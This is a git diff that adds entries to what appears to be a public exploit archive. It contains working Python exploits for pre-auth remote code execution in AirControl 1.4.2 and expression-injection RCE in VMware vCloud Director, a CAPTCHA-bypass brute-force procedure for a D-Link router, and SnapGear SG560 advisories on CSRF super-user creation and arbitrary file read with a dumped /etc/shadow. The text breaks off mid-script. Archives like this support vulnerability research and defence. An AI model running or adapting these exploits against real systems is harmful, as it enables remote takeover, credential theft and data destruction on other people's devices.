diff --git a/exploits/hardware/webapps/48541.py b/exploits/hardware/webapps/48541.py new file mode 100755 index 000000000..ccd4be227 --- /dev/null +++ b/exploits/hardware/webapps/48541.py @@ -0,0 +1,30 @@ +# Exploit Title: AirControl 1.4.2 - PreAuth Remote Code Execution +# Date: 2020-06-03 +# Exploit Author: 0xd0ff9 vs j3ssie +# Vendor Homepage: https://www.ui.com/ +# Software Link: https://www.ui.com/download/#!utilities +# Version: AirControl <= 1.4.2 +# Signature: https://github.com/jaeles-project/jaeles-signatures/blob/master/cves/aircontrol-rce.yaml + +import requests +import re +import urllib +import sys + + +print """USAGE: python exploit_aircontrol.py [url] [cmd]""" + + +url = sys.argv[1] +cmd = sys.argv[2] + + +burp0_url = url +"/.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.io.BufferedReader').getDeclaredMethod('readLine').invoke(''.getClass().forName('java.io.BufferedReader').getConstructor(''.getClass().forName('java.io.Reader')).newInstance(''.getClass().forName('java.io.InputStreamReader').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Process').getDeclaredMethod('getInputStream').invoke(''.getClass().forName('java.lang.Runtime').getDeclaredMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(null),'"+cmd+"')))))}" +burp0_headers = {"User-Agent": "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Doflamingo) Chrome/80.0.3984.0 Safari/537.36", "Connection": "close"} +r = requests.get(burp0_url, headers=burp0_headers, verify=False, allow_redirects=False) + +Locat = r.headers["Location"] + +res = re.search("pwned=(.*)(&cid=.*)",Locat).group(1) + +print "[Result CMD] ",cmd,": ",urllib.unquote_plus(res) \ No newline at end of file diff --git a/exploits/hardware/webapps/48551.txt b/exploits/hardware/webapps/48551.txt new file mode 100644 index 000000000..18c04755b --- /dev/null +++ b/exploits/hardware/webapps/48551.txt @@ -0,0 +1,28 @@ +# Exploit Title: D-Link DIR-615 T1 20.10 - CAPTCHA Bypass +# Date: 2019-10-12 +# Exploit Author: huzaifa hussain +# Vendor Homepage: https://in.dlink.com/ +# Version: DIR-615 T1 ver:20.10 +# Tested on: D-LINK ROUTER "MODEL NO: DIR-615" with "FIRMWARE VERSION:20.10" & "HARDWARE VERSION:T1 +# CVE: CVE-2019-17525 + +D-LINK ROUTER "MODEL NO: DIR-615" with "FIRMWARE VERSION:20.10" & "HARDWARE VERSION:T1 + +A vulnerability found on login-in page of D-LINK ROUTER "DIR-615" with "FIRMWARE VERSION:20.10" & "HARDWARE VERSION:T1" which allows attackers to easily bypass CAPTCHA on login page by BRUTEFORCING. + +------------------------------------ +D-Link released new firmware designed to protect against logging in to the router using BRUTEFORCING. There is a flaw in the captcha authentication system that allows an attacker to reuse the same captcha without reloading new. + +ATTACK SCENARIO AND REPRODUCTION STEPS + +1: Find the ROUTER LoginPage. +2: Fill the required login credentials. +3: Fill the CAPTCH properly and Intercept the request in Burpsuit. +4: Send the Request to Intruder and select the target variables i.e. username & password which will we bruteforce under Positions Tab +5: Set the payloads on target variables i.e. username & password under Payloads Tab. +5: Set errors in (the validatecode is invalid & username or password error, try again) GREP-MATCH under Options Tab. +6: Now hit the start attack and you will find the correct credentials. + +------------------------------------- + +Huzaifa Hussain \ No newline at end of file diff --git a/exploits/hardware/webapps/48554.txt b/exploits/hardware/webapps/48554.txt new file mode 100644 index 000000000..80412aae7 --- /dev/null +++ b/exploits/hardware/webapps/48554.txt @@ -0,0 +1,72 @@ +# Title: SnapGear Management Console SG560 3.1.5 - Cross-Site Request Forgery (Add Super User) +# Author: LiquidWorm +# Date: 2020-06-04 +# Vendor: http://www.securecomputing.com +# CVE: N/A + +Secure Computing SnapGear Management Console SG560 v3.1.5 CSRF Add Super User + + +Vendor: Secure Computing Corp. +Product web page: http://www.securecomputing.com +Affected version: 3.1.5u1 + +Summary: The SG gateway appliance range provides Internet security and +privacy of communications for small and medium enterprises, and branch +offices. It simply and securely connects your office to the Internet, +and with its robust stateful firewall, shields your computers from +external threats. + +Desc: The application interface allows users to perform certain actions +via HTTP requests without performing any validity checks to verify the +requests. This can be exploited to perform certain actions with administrative +privileges if a logged-in user visits a malicious web site. + +Tested on: fnord/1.9 + Apache 1.3.27 (Unix) + Linux 2.4.31 + + +Vulnerability discovered by Gjoko 'LiquidWorm' Krstic + @zeroscience + + +Advisory ID: ZSL-2020-5567 +Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5567.php + + +14.05.2020 + +-- + + +CSRF Add Super User: +-------------------- + + +
+ + + + +Result /etc/shadow: + +root:$1$YC$T/M8HLRXxKKPVEO7SU.02/:0:0:Super User:/:/bin/sh +sshd:!!:100:65534::/home:/bin/false +clamav:!!:103:65534::/home:/bin/false +testingus:$1$Xy$bxdLgsRlXHoMjEcMKqVq/.:104:104:ZSL:/home:/bin/sh \ No newline at end of file diff --git a/exploits/hardware/webapps/48556.txt b/exploits/hardware/webapps/48556.txt new file mode 100644 index 000000000..241b68a4f --- /dev/null +++ b/exploits/hardware/webapps/48556.txt @@ -0,0 +1,95 @@ +# Title: Secure Computing SnapGear Management Console SG560 3.1.5 - Arbitrary File Read +# Author:LiquidWorm +# Date: 2020-06-04 +# Vendor: http://www.securecomputing.com +# CVE: N/A + +Secure Computing SnapGear Management Console SG560 v3.1.5 Arbitrary File Read/Write + + +Vendor: Secure Computing Corp. +Product web page: http://www.securecomputing.com +Affected version: 3.1.5u1 + +Summary: The SG gateway appliance range provides Internet security and +privacy of communications for small and medium enterprises, and branch +offices. It simply and securely connects your office to the Internet, +and with its robust stateful firewall, shields your computers from +external threats. + +Desc: The application allows the currently logged-in user to edit the +configuration files in the system using the CGI executable 'edit_config_files' +in /cgi-bin/cgix/. The files that are allowed to be modified (read/write/delete) +are located in the /etc/config/ directory. An attacker can manipulate +the POST request parameters to escape from the restricted environment +by using absolute path and start reading, writing and deleting arbitrary +files on the system. + +Tested on: fnord/1.9 + Apache 1.3.27 (Unix) + Linux 2.4.31 + + +Vulnerability discovered by Gjoko 'LiquidWorm' Krstic + @zeroscience + + +Advisory ID: ZSL-2020-5568 +Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5568.php + + +14.05.2020 + +-- + + +Read: +----- + + + + + + + +Write/overwrite/move: +--------------------- + + + + + + + +Delete: +------- + + + + + \ No newline at end of file diff --git a/exploits/java/webapps/48549.py b/exploits/java/webapps/48549.py new file mode 100755 index 000000000..2adda7607 --- /dev/null +++ b/exploits/java/webapps/48549.py @@ -0,0 +1,138 @@ +# Exploit Title: VMWAre vCloud Director 9.7.0.15498291 - Remote Code Execution +# Exploit Author: Tomas Melicher +# Technical Details: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/ +# Date: 2020-05-24 +# Vendor Homepage: https://www.vmware.com/ +# Software Link: https://www.vmware.com/products/cloud-director.html +# Tested On: vCloud Director 9.7.0.15498291 +# Vulnerability Description: +# VMware vCloud Director suffers from an Expression Injection Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) via submitting malicious value as a SMTP host name. + +#!/usr/bin/python + +import argparse # pip install argparse +import base64, os, re, requests, sys +if sys.version_info >= (3, 0): + from urllib.parse import urlparse +else: + from urlparse import urlparse + +from requests.packages.urllib3.exceptions import InsecureRequestWarning +requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + +PAYLOAD_TEMPLATE = "${''.getClass().forName('java.io.BufferedReader').getDeclaredConstructors()[1].newInstance(''.getClass().forName('java.io.InputStreamReader').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','echo COMMAND|base64 -di|bash|base64 -w 0']).start().getInputStream())).readLine()}" +session = requests.Session() + +def login(url, username, password, verbose): + target_url = '%s://%s%s'%(url.scheme, url.netloc, url.path) + res = session.get(target_url) + match = re.search(r'tenant:([^"]+)', res.content, re.IGNORECASE) + if match: + tenant = match.group(1) + else: + print('[!] can\'t find tenant identifier') + return + + if verbose: + print('[*] tenant: %s'%(tenant)) + + match = re.search(r'security_check\?[^"]+', res.content, re.IGNORECASE) + if match: # Cloud Director 9.* + login_url = '%s://%s/login/%s'%(url.scheme, url.netloc, match.group(0)) + res = session.post(login_url, data={'username':username,'password':password}) + if res.status_code == 401: + print('[!] invalid credentials') + return + else: # Cloud Director 10.* + match = re.search(r'/cloudapi/.*/sessions', res.content, re.IGNORECASE) + if match: + login_url = '%s://%s%s'%(url.scheme, url.netloc, match.group(0)) + headers = { + 'Authorization': 'Basic %s'%(base64.b64encode('%s@%s:%s'%(username,tenant,password))), + 'Accept': 'application/json;version=29.0', + 'Content-type': 'application/json;version=29.0' + } + res = session.post(login_url, headers=headers) + if res.status_code == 401: + print('[!] invalid credentials') + return + else: + print('[!] url for login form was not found') + return + + cookies = session.cookies.get_dict() + jwt = cookies['vcloud_jwt'] + session_id = cookies['vcloud_session_id'] + + if verbose: + print('[*] jwt token: %s'%(jwt)) + print('[*] session_id: %s'%(session_id)) + + res = session.get(target_url) + match = re.search(r'organization : \'([^\']+)', res.content, re.IGNORECASE) + if match is None: + print('[!] organization not found') + return + organization = match.group(1) + if verbose: + print('[*] organization name: %s'%(organization)) + + match = re.search(r'orgId : \'([^\']+)', res.content) + if match is None: + print('[!] orgId not found') + return + org_id = match.group(1) + if verbose: + print('[*] organization identifier: %s'%(org_id)) + + return (jwt,session_id,organization,org_id) + + +def exploit(url, username, password, command, verbose): + (jwt,session_id,organization,org_id) = login(url, username, password, verbose) + + headers = { + 'Accept': 'application/*+xml;version=29.0', + 'Authorization': 'Bearer %s'%jwt, + 'x-vcloud-authorization': session_id + } + admin_url = '%s://%s/api/admin/'%(url.scheme, url.netloc) + res = session.get(admin_url, headers=headers) + match = re.search(r'